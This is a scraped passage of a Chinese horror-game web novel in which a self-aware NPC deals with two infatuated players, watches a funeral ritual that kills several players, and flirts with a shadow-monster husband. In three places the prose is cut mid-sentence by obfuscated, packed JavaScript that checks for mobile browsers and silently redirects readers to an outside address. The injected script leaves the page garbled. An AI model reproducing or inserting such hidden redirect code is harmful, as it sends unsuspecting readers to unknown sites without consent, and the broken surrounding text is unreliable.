满桥的小腿擦过顾淼最敏感危险的地带。 “放松点,如果不是你身上绷得硬邦邦的,我也不会不舒服到处乱蹭。” 顾淼:“我……” 满桥:“继续啊,家乡怎么了?” 顾淼呼吸频率乱了,他终于忍无可忍,一个用力,满桥像一只兔子一样被他轻松调换了姿势。 双臂垂下,顾淼的手臂卡在满桥的脊背和腿弯,是一个经典的公主抱姿势,这个姿势也并不轻松,但总比满桥在他怀里四处惹火来的简单。 满桥笑了,伸手揽住顾淼的肩膀。 顾淼:“我家乡前些年闹瘟疫,是他救了我。” 满桥:“他治好了你?” 顾淼:“我没有染病,只是家里都染病死了,大少爷愿意给我一口饭吃,资助我学习。” 满桥之前没有了解过这些内容,大概是因为他也不喜欢探究自己身边这个总是板着沉稳面具的管家背后到底有什么秘密。 就好像,就算他知道这位管家先生根本不是什么NPC,他也从不拆穿不是吗? 满桥觉得自己是全世界最好说话的NPC,因为螺旋所谓只要“NPC觉得奇怪”机会被抹杀的规则在他这里根本就不存在。 他早就知道自己是恐怖游戏的组成部分,拥有副本每次重启的记忆,对玩家的身份了如指掌。 所以他怎样都不会觉得奇怪的。 玩家们应该好好感恩自己。 “那你今天在做什么,你因为大少爷照顾我,照顾到……硬了?” 顾淼更加僵硬了,从满桥屋头到大姐房子的路,他走的艰难又缓慢。 顾淼:“满老师,我错了,但是我……” 满桥:“行了。” 天上又聚起乌云,几滴雨水作为预兆掉落,顾淼没有带伞,两人只好暂时躲在屋檐下,顾淼终于能把满桥放在长椅上。 满桥:“现在做了老宅的管家,你没有什么规划?” 顾淼低声下气:“伺候好主人家,就是我最大的规划。” 满桥笑了。 老宅是一座非常奇怪的建筑,它每个屋子都是类似北方四合院的的结构,这种屋子一旦采光差点,就会昏暗的像个牢笼,再多精致漂亮的器具摆在屋内,也只会平添阴郁恐怖,而不能显得贵气。 但是链接屋子与屋子的,却好像南方的园林,廊坊拱门一个不少。 可是老宅院子里偏没有池塘柳树,唯一能看到的一点绿色还是门口那棵半死不活的老树,长得太高把一点陈旧的生机透进。 这样古板无趣的风光,白白叫南方的错落建筑横陈,像被切开了随便丢过来的尸体。 顾淼捧起了满桥的脚,原本就被地板冷透了的脚吹了风,现在更冷。 但满桥没什么反应,似乎这种寒冷对他而言是在不算什么。 “……今天是我冒犯了。” 顾淼垂下眼睛。 院子里湿漉漉的,月亮看不见,只有一点昏暗的灯笼挂在两人头顶,朦胧光线,雾里看花,顾淼解开了自己的褂子,盖在满桥膝盖上。 “不冷吗?” 满桥审视面前不抬头的人。 “不冷。” 顾淼依旧没有抬头。 “您应该照顾好自己。” 满桥:“我?” 顾淼:“您体寒,手脚容易凉,每天晚上都该泡脚。” 满桥:“可惜了,每天晚上给我泡脚的人已经死了。” 顾淼:“那我来代大少爷给您……” 满桥:“顾淼。” 哗啦啦,雨水一直下。 满桥:“顾淼,你到底是脑子出了什么问题?” 顾淼抬起头。 “……满老师,日子要是一直过的一样,的确很没意思。” “你想说什么?” 顾淼:“我说的是我的真心话,如果您觉得您的日子有点无聊,顾淼说不定能带来什么难得的新奇事呢?” “……” 几秒钟安静,潮气在鼻腔蔓延。 满桥垂下头,“骗子。” 胸膛暖意蒸腾,寒冷慢慢褪去,顾淼对上满桥审视的黄金瞳。 “至少此刻我对您的爱慕都是真的。” …… 满桥挪开了视线。 管家不是NPC,满桥一开始就发现了。 作为一个玩家,顾淼的确很有本领,他伪装的很好,如果不是满桥一开始太了解所有NPC的运行模式,大概也会相信管家的。 新丧是一个变异了的低级副本,在这个副本当中,NPC本来应该毫无自我意识,按照流程完成副本的故事,这样玩家也不会太为难。 可是偏偏不是这样。 大姐、兰花、北安……满桥不知道这个副本到底掺入了多少个像自己一样运行出了问题的NPC。 他们虽然没有像满桥一样清楚地意识到这是什么地方,记忆也会随着每次游戏重启被清空启动,但他们早就不顺着低级副本应该走的方向行进了。 就比如说,NPC们都能意识到——玩家们和自己不一样。 这个副本的NPC清楚知道有人介入了他们的世界,哪怕不知道这只是一个游戏副本。 在这里,NPC针对玩家的猎杀本来就是一种排异行为,所以大家清楚知道有哪个玩家死了,是怎么死的。 而不是像自己问顾淼的时候——顾淼说,李裁缝根本没有徒弟。 李裁缝当然有徒弟。 只是死了。 是大家一起杀死的。 曾经的顾淼不知道这件事。 满桥:“别忘了你满老师是怎么对你的。” 雨还是不停,规律的声音成为最好的助眠利器,满桥的上下眼皮开始打架。 顾淼:“您困了吗?” 满桥:“我不像你们这样年轻,总要考虑到我的作息习惯吧?” 顾淼:“您看起来很年轻。” 满桥:“从美人的外貌判断年龄,你也是个俗人。” 顾淼不知道被戳到了什么笑点,肩膀随着他的笑声抖动起来。 “……我是个俗人吗?” 满桥真的困了,他不再理会满腔心思的玩家,两支手臂柳条一样倒在高大的人身上,顾淼耳边很快传来满桥呼吸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533422|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一上一下,像在吹一朵轻飘飘的柳絮。 “……满老师?” 雨还在下。 “哗啦啦。” 孟鸠一屁股坐在满桥房间的地板上。 孟鸠自己给自己配音:“哗啦啦啦啦啦——” 地面上散落一堆东西,孟鸠从满桥床头柜翻出来的日记本,从衣柜翻出来的菜谱和早死的孟家长子的西装外套,甚至还有满桥屋头小隔间供奉用的香烛。 “……真难搞。” 孟鸠舌头顶了顶腮帮子,“本来搜线索就烦,这破雨也没完没了。” ……满桥。 嘴唇上下碰撞一次,舌尖和上颚一触即分,孟鸠默念。 “……满桥?” 说起来有点荒谬,虽然某位大胆的玩家直接将自己的真名告诉了NPC,但他却不清楚这个自己招惹的NPC到底叫什么名字。 反正大家都是满老师的叫,他也只会叫这位红发美人嫂子。 ……他是怎么想的呢? 孟鸠翻阅日记本的动作顿了顿。 他以为自己想起满桥最先想起的会是那头鲜艳的头发,或者那种让他无法摸清的香气。 他一直是这样以为的。 可是比视觉和嗅觉先在大脑留下刻痕的是触觉。 那双手是怎么触碰自己的呢? 像对待一个真正的弟弟那样? 温柔的?恨铁不成钢的? ……纵容的? 孟鸠的虎口有一道刀疤,从大拇指根部向下蔓延到脉搏。 如果。 只是说如果。 满桥看到这个,会做什么? 会摸摸看吗。 “……真是疯了。” 孟鸠收回手。 真是疯了。 他居然有一瞬间觉得,满桥是知道自己的身份,也知道螺旋的存在。 都怪这位NPC离开前的话太语焉不详。 什么叫“你不是有事要做”,什么叫“我们是家人”。 简直就是在说—— “我知道你是什么身份,我允许你在我的房间放肆。” 不可能。 ……不可能吗? 为什么。 孟鸠烦得要死,一巴掌合上面前的本子。 “神经病,正经人谁写日记啊……还写他爸这么厚。” 这么厚就算了,十句里面八句离不开自己早死的老公。 “死都死了还要守活寡吗,古板。” 孟鸠的指腹擦过日记本封皮上满桥的名字。 “……长那么好看凭什么守活寡啊。” 只给看不给吃。 谁来了也受不了啊。 没有心情看房间里的其他线索,孟鸠干脆起身,他面前花瓶里还有他一早送过来的紫罗兰,在昏暗的灯光下显得格外神秘,比早晨的生命力多了一些温婉的气质。 ……紫罗兰。 丧期还有人给满桥送花,自己的嫂子真是魅力无边。 说起来,孟家大姐只说过让自己帮忙送花,但从来没说过这束花是谁送来的。 孟鸠看向窗外。 紫罗兰的话语是什么来着。 ……永恒的爱? 孟鸠忽然意识到什么,他忍不住笑出来。 “……草。” 他转头,重新翻开那本厚厚的日记。 如果他没猜错的话…… 自己的“大哥”和“大嫂”,不会把自己当套玩吧。 9. 新丧(8) 按照丧期的规矩,躲钉的习俗要在早上辰时进行。 孟鸠在满桥屋子地板上待了一夜,一个晚上有将近三分之一的时间都在盯着满桥屋子里那束紫罗兰咬牙切齿。 ……谁会在丧期给家里嫂子送花? 谁会? 除了满桥的正宫死老公还有谁? 在恐怖副本出现一个看起来死了实际上还能给人送花的角色太正常了。 孟鸠很难睡得好。 孟鸠睡得好不好满桥不知道,他在大姐屋子睡得很好。 比声音先飘过来的是饭香味,满桥转了个身,脑袋缩在缩在被子里,听见女人的笑。 “还不起呢?到时候咸菜吃光了,你可就只能喝白粥咯。” 满桥没睁眼,但已经黏黏糊糊开始撒娇:“大姐……让我多休息一阵好不好?” “不吃饭了?” 满桥脑内开始挣扎,大姐趁他动摇的时候坐在满桥床边。 “今天还蒸了肉包子呢,馅不咸。” 满桥终于睁开眼睛,刚苏醒的金色眸子比平时看起来更加朦胧,在满桥这张总是惊艳的脸上,他的眼睛更加像是一轮说不清的月亮。 满桥:“姐……” 那双总是看人叫人发怵的吊梢眼柔和下来,在笑容里弯成一道,“跟我撒娇呢?” 满桥:“姐,你最好了。” 大姐伸手捏了捏满桥的鼻子。 “难怪你一天到晚把男人迷的不要不要的。” 满桥:“姐,你生气?” 大姐嗔怪地看了满桥一眼:“我又不是古板的人。” 这话被玩家听到肯定要破防的。 这个副本不知道多少人死在“古板”的大姐手下。 晨间短暂的交流结束,满桥起身,今天是难得的好天气,阳光惊险地穿过层层乌云,为这座陈旧的老宅带来一点难得的生机。 虽然这点阳光比所谓的艳阳天是小巫见大巫,但对于在这里经过了多次时间重启的满桥,他知道这是这个副本能拥有的最大程度的好天气。 满桥勾住大姐的衣服。 “姐,换件衣服吧。” 身为孟家的大姐,她和满桥的穿衣风格完全是两个极端。 虽然丧期内,家属能穿的衣服受到很大限制,但满桥依然用漂亮的旗袍、蕾丝、皮鞋把自己打扮的几乎雌雄莫辨。 大姐则每天穿着朴素的衣服,身上没有两点花纹。 大姐:“我就不穿那么花哨了。” 她又看了眼满桥,“走了,吃饭,咱们该去躲钉了。” = 满桥和大姐风轻云淡,玩家们却水深火热。 “这都是什么规矩?” 说话的人是个小姑娘,叫陌陌,还是高中生就被抓进恐怖游戏。 “丧期不可装扮不用心、不可争执喧哗、不可嬉笑玩闹、不可谈情说爱、不可过于悲伤、不可不掉眼泪、不可……不可装扮的过于用心?” 刚发到玩家手上还没捂热的小册子猛地合上。 “疯了吧?” 其他玩家不说话,显然也感到心凉。 “——咳咳!” 发册子的兰花清了清嗓子,扫视面前的人一圈。 “诸位,都看过规矩了吧?” 没人应答,兰花不满地皱眉。 “不管你们看没看懂,咱们孟家再怎么说也是有头有脸的家族,大家伙按照规矩行事,千万不要弄的大家不体面。” 兰花:“要是弄的家里丧事不体面,那……” 她话音未尽,但昨日亲眼见证死亡的玩家们已经自己脑补了不少内容。 兰花:“行了行了,这册子上的规矩只是日常的规矩,偶尔犯一次,兰花还能勉强护你们,要是再犯,可别怪兰花不给大家留情——” “哟,兰花!” 兰花的话被打断,她脸上飘过一点不易察觉的烦躁,在转头前一秒换上恭敬又带点不让人讨厌的谄媚的神情:“九少爷!” 孟鸠打了个哈欠,掰了掰自己的脑袋,脖子发出“卡吧”响。 “你大早上做什么呢?” 兰花:“兰花给大家讲规矩呢,九少爷,这是您的册子。” 孟鸠不甚在意,随手接过连看都没看,直接问:“什么规矩?” 兰花:“规矩多,兰花一张嘴也说不清呀。” 孟鸠:“我爹丧期的规矩?” 兰花脸色有点不好看了。 “……是。” 孟鸠:“那算什么,我是我爹亲儿子,我说的话不比纸上的规矩管用?” 兰花:“话不能这么说……” 孟鸠:“哎哟你快别说了,我昨晚在嫂子房里睡了一晚,浑身疼!” 兰花皱眉:“您怎么能到满老师房间……” “他昨晚拆了我的门,我当然不能放过他。” 未见其人先闻其声,满桥今天换了西装裤,上半身穿着黑色皮质马甲,头发扎成了低马尾。 他笑着和兰花打招呼:“兰花,现在几点钟了?” 兰花:“再过一炷香就辰时了。” 满桥:“那也快到时间了,辛苦你给大家讲规矩。” 兰花红了脸,轻而易举被哄好:“一点也不辛苦……” NPC在交流,玩家们也悄悄交流。 “……这个NPC不算打扮的过于用心吗?” 另一位玩家移不开眼,“……比昨天的,人家是收敛很多了。” 昨天穿的可是黑旗袍和蕾丝打底裙啊。 满桥:“你快去忙吧兰花,这混小子我看着。” 兰花有点舍不得,但还是转头:“那我就继续和他们说规矩……” 满桥抬起手,孟鸠立刻像哈巴狗一样垂下脑袋,把自己的耳朵递到不愿意多花一点力气的满桥手心。 满桥手凉,但耳朵更冷,于是他拇指和食指不用力气地扯着孟鸠的耳朵,对这位少爷来说,就好像耳朵被温润的玉夹着。 耳垂以极快的速度升温,孟鸠的眼睛锁定自己捉摸不透的嫂子。 “怎么,昨晚在地板上睡的不舒服?” 满桥走的很慢,这样不会扯的孟鸠疼,但对比两人的体型,这样缓慢的步幅也是一种折磨。 孟鸠:“没有嫂子陪着当然不舒服了。” 满桥:“哪里来的小孩子,还要家长晚上陪?” 这就是故意曲解了,孟鸠分明说的是暧昧意思,在满桥这里反而成了家长对小孩。 孟鸠张嘴想回点什么不要脸的浑话,但话到嘴边忽然卡住。 “……你是我家长?” 满桥挑眉,转头。 “我不是?” 孟鸠:“你都没管过我,难不成你爱我?” 空气都安静了。 没人问过满桥这种问题,哪怕是以家人的身份。 何况面前的人是一个玩家。 就算他现在是个能听到系统提示音的NPC,这不代表他就能摆脱什么。 两人面对面,但满桥似乎从不觉得面前的人和自己是一个物种。 他可以在副本中因为对孟鸠这位敢于冒险玩家的欣赏承认他家人的身份。 满桥只是对家人很看重。 “我……” “辰时到了。” 孟鸠及时打断,错开了和满桥的目光,好像这位吊儿郎当的青年自己也不清楚刚刚为什么会问出那样一个问题。 孟鸠:“今天天气还挺好,我们——” 满桥:“辰时还没到呢。” 孟鸠错开话题的行为被拆穿,他一瞬间挎下了所有表情,没了那些纨绔的伪装,任何人对上孟鸠的眼睛都要说——这是一双很有攻击力的眼睛。 满桥歪头,毫无惧意地对上了这双眼睛。 软玉温香的手,为孟鸠僵硬的身体理了理衣领。 “小九。” 满桥笑起来,这一次却比孟鸠先前见过的都特别。 孟鸠一直觉得满桥身上有一种鬼母般的气质,他神秘、危险,从骨子里透露出煎熟的花香。 这样的人会朝你轻笑,笑是一种钩子,脚下是万丈深渊。 可这一次不同。 这是一个温和的笑。 好像满桥真的是孟鸠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533423|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄长,在拨动一个叛逆时候的弟弟心弦。 “小九,太缺爱了。” 孟鸠张张嘴,说不出话。 满桥收回了手。 “九少爷饿了,请九少爷去用些早饭吧。” 孟鸠:“我没——” 满桥的指尖点在孟鸠的鼻子,他向下压了压,孟鸠本能地弯身。 满桥靠近孟鸠的耳朵。 “……你可以来求我的爱。” 指甲陷进掌心,乱了阵脚的青年两三步后退,差点撞上前来请他去吃早饭的北安。 满桥:“北安?” 北安好像被自己的名字吓了一跳,“满,满老师……” 满桥笑着,依然是非常温和的。 “快去吧,你自己也吃两口,等会仪式开始要饿好久呢。” 北安反应慢了半拍,老演员了还会因为这种小事脸红。 好在在场的人都没心思在意北安难得拙劣的表演。 满桥的皮鞋在石板路上发出“哒哒”声响,他猛地想起什么,又回头。 “对了,小九。” 孟鸠依然没表情,好像暂时无法重启似的。 满桥:“午饭前。” 他挑眉。 “把我的衣服放回我的衣柜。” 孟鸠:…… 脸红。 自己居然还会脸红。 流氓行径被发现,嘴巴灵活的孟鸠说不出话。 ……自己有这么纯情吗? 满桥才不管他。 = 今天是孟老爷死的第二天,要选吉时将孟老爷移进棺木中。 兰花:“这可是上好的木棺材,孟老爷死前三年就预定的,里头放的绸缎被褥、文房四宝都是一等一的好货,谁见了都要夸一句孟家孩子孝顺。” 站在队尾的陌陌脸色越来越差了,但碍于太多NPC在场,只能把所有话憋在心里。 “今日大殓入棺,辛苦大家把仪式做的妥当。” 大姐一跛一跛地走到众人面前。 “待会请法师主持仪式,我们千万不能出岔子。” 就在大姐说话这个空档,孟鸠在打哈欠。 大姐:“九弟。” 孟鸠:“大姐——您放心,我都听着的!” 大姐冷笑。 “混小子。” 从昨天说到今天的“躲钉”实际上就是钉棺仪式,本来应该由长子完成,但孟家长子死的比老爹还早,当下活着的孩子们竟然只有一个孟鸠一个男孩。 大姐:“男眷跪在右,女眷跪在左,大家换换位置吧。” 陌陌:“等等……” 寂静。 众人的目光猛地朝陌陌汇聚。 灵堂一时间连风声都没有,陌陌双腿打颤。 玩家们眼观鼻鼻观心,都不说话。 虽然丧事办起来复杂,但有些普遍的道理大家还是都知道的,比如男左女右,又比如—— 昨天孟家老爷的遗体是脚朝外躺着的,不合正常的规矩。 大姐:“你有什么事吗?” 陌陌不敢说话了。 或许,或许这个副本中正是要把所有规矩反着来呢? 大姐不是说过吗,孟老爷就是想要一个规矩的葬礼,先前那么多规矩都错了,都没事…… 大姐:“说话!” 陌陌的眼泪瞬间掉下来。 “没,我没事……” 大姐:“没事你喊什么,耽误了时间坏了规矩,你担得起责任吗!” “我,我……” “你吓她干什么,大姐。” 一只柔软的手搭在大姐臂弯,成色上好的镯子在阳光下反光。 显然,满桥不只有被“丈夫”砸坏的一只翡翠镯子。 满桥笑起来。 “别为不相干的人坏了心情。” 浓郁的黑色开始在众人脚下汇聚。 满桥看向还在发呆的孟鸠。 一点稠状物不甘心地滑进满桥的裤管。 “小九。” 孟鸠抬头。 满桥:“开始仪式。” 10. 新丧(9) “怎么对那个姑娘照顾起来了?” 大姐站在满桥身边,声音很小地问。 满桥:“……看着年纪小,怪可怜的。” 语焉不详。 满桥低下头,无意识张开手掌又合上,对自己阻止大姐斥责玩家的行为也不甚理解。 他对年龄比自己小的女孩总是多一点同理心和照顾。 满桥:“一切都顺利吗?” 大姐愣了一下,本能地错开满桥的目光,“嗯,顺利。” 顺利个屁。 满桥不拆穿大姐,他注视着大姐的侧脸。 “……姐,我送你的旗袍,你真的不穿一次吗?” 大姐:“我年纪都多大了,不适合穿你那种好看衣服……” 两人几句闲谈的功夫,法师已经穿戴整齐站在众人面前,孟鸠下意识看向满桥,得到一个安抚的眼神。 就在昨天,孟鸠刚刚在小殓仪式中被满桥的暗示坑了一把,按理来说现在不应该相信这位NPC的任何行动。 但孟鸠还是无端从满桥的眼神中得到一种安心。 孟鸠觉得自己不应该那么笨吧,一个NPC嘴上说说把自己当家人,难道心里真的会这样想? 孟鸠转过头,忍不住暗爽。 但是他安抚我诶,其他人做得到吗! 其他人(某位管家):“吉时已到,仪式开始——” 孟老爷已经僵硬的尸体被抬了出来,他的面部已经变得有些扭曲。 今天是孟老爷死了的第二天,孟家似乎对这位曾经的家主毫不在乎,他从被抬到正厅开始就很少被看顾。 尸体脑袋靠在红布缝制的枕头上,脚底多了一盏灯。 孟鸠挑眉。 昨天小殓仪式的时候这些分明都还没有。 兰花嗓子尖尖的:“老爷枕的鸡鸣枕可是大小姐亲手缝制的,脚下的长明灯也是大小姐连夜看守,一刻都没灭过呢!” 场上玩家脸色都变得有些微妙。 大小姐这个称呼对大家有点陌生,但稍微一思考也能知道所谓大小姐就是大姐。 别说昨天小殓仪式的时候这些东西都还没有出现在灵床上,就说昨晚,大姐可是第一个离开去睡觉的,一点没有要守夜的意思。 兰花:“要兰花说呀,老爷人虽然走了,但孩子们都孝顺,是喜丧!” 好像打开某种开关的暗号,除了玩家之外,所有参与仪式的NPC都瞬间一改哀色,笑着称赞起来。 今日是老宅难得的好天气,不甚暖和的太阳照耀每个人白晃晃的脸,每个人的笑容都那么幸福而真诚。 玩家只觉得后背发凉。 大姐:“好了好了——都是家里的事,说出来干什么呢?” 兰花立刻拍了拍自己的嘴唇,“兰花嘴快啦,请大小姐原谅。” 大姐:“你也是好心——九弟,叫人来钉棺吧!” 场面变得喜气洋洋,孟鸠看着面前的七根桃木钉和一碗公鸡血,小声“哇哦”一声。 这是连“祭钉”都不打算做了。 在钉棺之前,七根桃木钉应该要浸入公鸡血,放于供桌前焚香三柱,现在供桌、公鸡血、桃木钉都有了,NPC竟然直接要求跳流程? 孟鸠倒是不介意跳流程—— 毕竟,孟家老爷想要的葬礼早就完犊子了。 不知道什么时候,艳阳天下一点风声都没有,站在正厅观礼的NPC们都脸色发白,笑起来的弧度都是一个模子里刻出来的。 欢声笑语依然持续,甚至笑声有越来越大的趋势,大姐一直严肃的吊梢眼此刻弯成了月牙,她不可置喙地抓住孟鸠的小臂,“九弟,还愣着干什么!” “到这边来!” 不知道多少个NPC同时发出声音,众人齐刷刷转头,死死盯住笑不出来的玩家们。 “到这边来,我们要钉棺了!” 法师猛地举起手,太阳从来没有这样好过。 没有人预料到今天的躲钉会变成这样。 从昨晚开始,NPC们就都有意无意地宣扬着第二天的仪式是多么重要,要大家好好准备。 可现在,仪式刚一开始就进入混乱,什么流程忌讳,全部都在NPC整齐划一的喊声中不见。 乱了,全乱了。 有人控制不住发抖,眼泪马上就要掉出来。 大姐:“你还在等什么!” 笑声密密麻麻—— “你还在等什么!” 孟鸠:“……您们请。” 他一弯腰,做出一个夸张的欢迎光临姿势,笑的吊儿郎当。 NPC们不再一起诵读了。 他们恢复了一点正常。 “是啊,是啊,是喜丧,高兴!” 满桥打了个哈欠。 “高兴——高兴,现在谁不高兴谁奇怪呢!” 他余光瞥过手足无措的玩家们。 笑啊。 他话都说到这份上了。 再笑不出来,就等着到黄泉底下哭吧。 终于有人得到暗示,扯出一个僵硬的笑脸,但也总有人是笨蛋。 陌陌:“好可怕——” “咔啪” 满桥的眼睛颤了一下。 人头落地。 【恭喜玩家下坠,“新丧”副本剩余参与人数……】 机械音卡顿了几秒,接连响起几声清脆的颈椎扭断声。 【……8人。】 “咚!” 孟鸠的目光一直落在满桥身上,直到钉子锤进棺木的声音让他回过神。 大姐:“喊啊!” 孟鸠:“……勿警,躲钉——” “咚!” 钉子的声音几乎和孟鸠的声音重合,钉棺人似乎毫无孟鸠躲钉的呼喊应该在锤子落下之前的自觉。 孟鸠的声音有点敷衍,对于自己目前混乱无序的情况似乎有所预料。 “躲钉——” “咚!” 满桥仍在盯着原本玩家站着的地方发呆。 人群中,原本站着玩家的地方因为少了几个人骤然变得有些凉快,这几个幸存的玩家脸上仍然带着僵硬又拼命的笑容,尽管身边的NPC们都已经不再保持微笑,他们还是不敢停下。 死亡的恐惧和钉棺的锤子一起,一下一下敲打在人心上。 “咚!” 孟鸠又少喊了一声,大姐却没再提醒,事到如今,躲钉的呼喊也不显得重要了。 顾淼穿过人群,走到满桥身边,为满桥披上外套。 “您不舒服吗?” 用的是敬语,端的是照顾者的架子。 满桥:“……” “咚!” 满桥抬眼,太阳惨白。 “……好天气,真难得。” “咚!” 孟鸠拉长嗓子:“勿静,躲钉——” 顾淼:“你不高兴。” 强烈的日光下,影子也越发浓郁纯粹,满桥没有直接回答顾淼的问题,他收回了视线。 “咚!” “轮不到你管。” 一场荒谬的仪式终于在第七声钉子钉进棺材后结束,新丧原本就剩余不多的人数现在更是雪上加霜。 可以离场了。 孟鸠抬脚跟上满桥,得到满桥一个警告似的眼神。 孟鸠:“嫂子,您房间的门还没好呢,我……” 满桥:“别在这油嘴滑舌,回你房间去。” 顾淼紧随其后:“如果房门还没修好,我可以……” 满桥:“早修好了。” 他心情不佳,对这两个心怀不轨的家伙也没什么好脾气。 “一边去。” 小皮鞋踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533424|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蹬蹬响,太阳逐渐被再次升起的乌云遮盖,好像它只是赏脸出席一下死伤惨重的躲钉仪式而已。 一个造势了许久,早期准备都不止半小时的仪式,竟然在短短十五分钟内结束。 以葬送四名玩家为出场费。 黑色稠状物像蛇一样攀行在满桥身后,在满桥回到房间关上门的瞬间,阴影凝聚成一个高大的人型,有点无措地和满桥面面相觑。 房间的门是修好不久的,说实话修的有些敷衍,在开关时发出不堪重负的“吱呀”声,冷风从门缝中飘进来,很快被怪物密不透风的黑色躯体吞噬的一干二净。 怪物分出一点自己的身体,塞进了没能严实合缝的门缝。 满桥:“……怎么还学着变人了?” 阴影有点紧张,他不太熟练地操纵自几刚学来的形态,弯下腰轻轻环住满桥。 满桥愣住。 怪物努力摆动他的“手臂”,在满桥背后一下一下轻轻抚过。 满桥:“……傻子。” 他卸力靠在黑色的一团“人”怀中。 本质来说,靠着怪物不是什么很舒服的体验,怪物的身躯有点像史莱姆,是柔软的,但它的身体又绝对和史莱姆那种玩具不同。 怪物的身体可以任意消失,他身体的任何部分好像都可以变成消散的粒子,任由落在它躯干上的事物无限下坠。 当然,他绝不会这样对待满桥。 怪物发现了人型的好处。 它依然可以用自己柔软的的躯体包裹自己的爱人,而它高大的人形则成为依靠。 怪物慢半拍地意识到,人类大概还是对与自己形态相似的物种更有安全感。 怀里的美人不知道某位脑袋笨笨的人外有这么多内心戏,他闭上眼睛,任由怪物将他抱起走进卧室。 身体接触床铺的时候,满桥象征性睁开眼睛,“……老公?” 他露出一个虚无缥缈的假笑,双手环着自己所谓的丈夫。 会发生什么呢。 这个显然迷恋着自己的丈夫,想要侵占自己的身体,还是趁虚而入,趁此机会好好宣示主权? 满桥:“亲爱的——你……” 柔软的面庞。 总是游刃有余的金黄眼睛变得有些迷茫。 黑色的怪物生涩地弯腰,用自己拟态的面庞碰了碰满桥的面庞。 怪物不理解那么多,他只是从满桥身上闻到了一种有点发苦的气味。 浓稠的身体靠在满桥身边,它忍耐着将身体全部覆盖在满桥身上的欲望,在克制的接触之后,努力发出声音: “……呼呼。” “呼呼?” 满桥抓着怪物的触脚,微凉,像果冻。 怪物:“……呼……呼。” 满桥意识到了,怪物不会说话。 大部分时候,满桥可以直接从脑内感知到他的怪物想要做什么,但这种交流的主导权本质上在怪物手里,如果怪物不想要满桥那么轻松知道自己在想什么,满桥只能摸瞎。 但他也不是毫无手段。 满桥笑了,像一朵盛开的花,独属他的香气散开,怪物晕头转向。 非人的好处在于,这位意外纯情的怪物先生没有真正意义上的“嗅觉”器官。 它当然没有鼻腔。 它的每一处皮肤都是感知神经。 香气可以顺着它和满桥贴紧的“脸庞”,它恋恋不舍环绕满桥的触脚,他像影子一样摊开在地面的黑暗攀升,香气可以侵染怪物的全部身体,腐蚀怪物本来就不坚定不聪明的意志。 满桥勾起怪物的“下巴”。 “亲爱的。” 他的声音轻轻的。 “你在说什么呢?” “是在说……” 金色的眼睛是一轮勾人的月。 “……想*我吗?” 11. 新丧(10) “想*我吗?” “喜欢你。” 满桥:“……” 嘴角卡顿。 怪物的心声和满桥的撩拨同时发出,两个人都愣在原地。 好像终于反应过来自己的妻子刚刚说了什么过分的话,怪物像夏天的水果糖,化掉了。 脑海中传来混乱的电波,满桥辨认了一会,终于翻译出怪物大概想传达的意思。 “太仓促”、“不尊重”、“不好意思” 还有—— “不会” 一声有点促狭的笑。 满桥:“你不会?” 怪物恼羞成怒,不再保持人型,而是将自己化开摊在满桥身上。 满桥:“你真的不会?” 怪物有点生气,往满桥领口钻,比起调情更像是某种小动物害羞后要在主人怀里待着。 满桥老实了:“抱歉……我不知道你不会……失望?我没有失望。” 相反,满桥温柔摸了摸怪物的身体。 “听个秘密?” 怪物不再拱来拱去,它重新凝聚成一团,像史莱姆玩具一样被满桥捧起来。 满桥眨眼,笑眯眯。 “我也不会。” 怪物:! 来劲了。 它立刻爬升,包裹满桥的身体,急切又害羞地询问满桥细节。 满桥:“我当然没做过。” 他干脆躺下。 “但是我身边不缺那种眼神,对吧?” 侵略性的,试图在人类最原始的欲望中征服美人的眼神。 满桥只是没有尝试过,但他并不缺乏理论经验。 并且——也不缺拒绝这些欲望的经验。 怪物太单纯了,反而让满桥无处发挥。 但如果怪物真的是个色心大发的色.魔,满桥也有办法甜言蜜语,然后—— 送怪物暂时睡着。 并且满桥还会可惜。 副本之后还需要怪物出场,不然他可以直接送怪物下地狱。 还好。 自己的丈夫比自己想象的讨人喜欢。 “我不拒绝抚摸和爱意。” 满桥勾着身边的触手。 “有欲望很正常,人的欲望难道就不美丽吗?” 他将触手拉到唇边,一触即分,反倒是触手因为这轻飘飘的一下触碰蜷缩起来,看起来正回味无穷。 “但这种事当然要考察。” 满桥歪头。 “我这样珍贵的美人,也不是谁都能得到的,对吧?” 怪物七荤八素,用触手疯狂点头,很快又缠绕满桥纤细的腰,摩擦他象牙般的肌肤,悄悄掀开了满桥的衬衫。 触手顺着脖颈下滑,在锁骨窝停顿,它仔细描摹了一遍这里的形状,确信这是个适合它安居乐业的地方,但还是忍痛继续向下延伸。 满桥的身体无意识挺起,他眯起眼睛,好奇自己的丈夫到底想做什么。 